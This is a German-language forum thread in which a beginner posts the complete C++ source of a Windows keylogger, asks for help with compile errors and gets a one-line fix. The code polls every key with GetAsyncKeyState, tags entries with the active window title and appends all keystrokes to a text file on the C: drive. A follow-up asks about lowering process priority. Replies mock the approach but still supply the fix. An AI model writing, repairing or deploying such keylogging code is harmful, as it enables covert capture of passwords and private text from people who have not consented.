Keylogger Problem beim Kompilieren



  • Hallo Leute beim Kompilieren sind Fehler aufgetreten.. könnt ihr mir bitte helfen 😕

    Error:
    In function 'void StoreKey(std::string)':
    [Error] statement cannot resolve address of overloaded function

    In function 'void Logger()':
    [Error] statement cannot resolve address of overloaded function

    Hier der Code

    #include <windows.h>
    #include <fstream>
    #include <string>
    
    using namespace std;
    
    string convertkey(int key){
    string keystring;
    switch(key)
      {
      case 8 :
           keystring = "[/]";
           break;
      case 13 :
           keystring = "\n";
           break;
      case 32 :
           keystring = " ";
           break;
      case 190 :
           keystring = ".";
           break;
      case 110 :
           keystring = ".";
           break;
      case VK_CAPITAL :
           keystring = "[CAPS LOCK]";
           break;
      case VK_TAB :
           keystring = "[TAB]";
           break;
      case VK_CONTROL :
           keystring = "[CONTROL]";
           break;
      case VK_ESCAPE :
           keystring = "[ESCAPE]";
           break;
      case VK_DOWN :
           keystring = "[DOWN]";
           break;
      case VK_LEFT :
           keystring = "[LEFT]";
           break;
      case VK_RIGHT :
           keystring = "[RIGHT]";
           break;
      case VK_UP :
           keystring = "[UP]";
           break;
      }
      if(key >= 96 && key <= 105)
             keystring = key-48;
      else if (key > 47 && key < 60)
             keystring = key;
      if (key != VK_LBUTTON || key != VK_RBUTTON)
        {
            if (key > 64 && key < 91)
            {
                if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT)) 
                    keystring = key;                                                              
                else 
                {
                    key = key + 32;                              
                    keystring = key;
                }
            }
        }
        return keystring;
    }
    
    void StoreKey(string key){
       ofstream storekey("C:\\storekey.txt", ios::app);
       storekey << key;
       storekey.close;
    }
    
    void Logger()
    {
     string keyinstring = "";
     int key;
     char currentwindowtitle[MAX_PATH];
     char newwindowtitle[MAX_PATH];
     GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
     while(true)
     {
     Sleep(5);
     for(key = 8; key <= 256; key++)
        {
             if(GetAsyncKeyState(key)&1 == 1)                                                                  
             {
                 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
                 if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
                 {    
                         ofstream storekey("C:\\storekey.txt", ios::app);
                         storekey << endl << currentwindowtitle << endl;
                         storekey.close;
                         strcpy(newwindowtitle, currentwindowtitle);
                 }
                 keyinstring = convertkey(key);
                 StoreKey(keyinstring);                      
             }
        }
     }
    }
    
    int main(){
       Logger();
       return 1;
    }
    


  • hinter .close müssen Klammern: .close().
    Das ist übrigens gar nicht notwendig, close überhaupt aufzurufen.



  • Danke für die Antwort, hat geholfen!!

    Ist etwas an dem hier falsch? oder hab ich's einfach an der falschen Stelle hinein geschrieben 😕

    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
    


  • Keine Ahnung ob das richtig ist, kommt drauf an was du damit bezwecken willst. Aber wenn du so fragst bezweifle ich dass du weißt was du da tust...

    Im übrigen ist das so ziemlich der schlechteste Ansatz einen Keylogger zu realisieren..
    Aus deinem ersten Post schließe ich dass du noch Anfänger bist, ich würde dir eher raten dir ein paar Tutorials anzuschauen statt gleich zu versuchen einen Keylogger zu machen.



  • DarkShadow44 schrieb:

    Aus deinem ersten Post schließe ich dass du noch Anfänger bist, ich würde dir eher raten dir ein paar Tutorialsvernünftiges Buch anzuschauenaufmerksam durcharbeiten statt gleich zu versuchen einen Keylogger zu machen.

    Fixed that 4 you.


Anmelden zum Antworten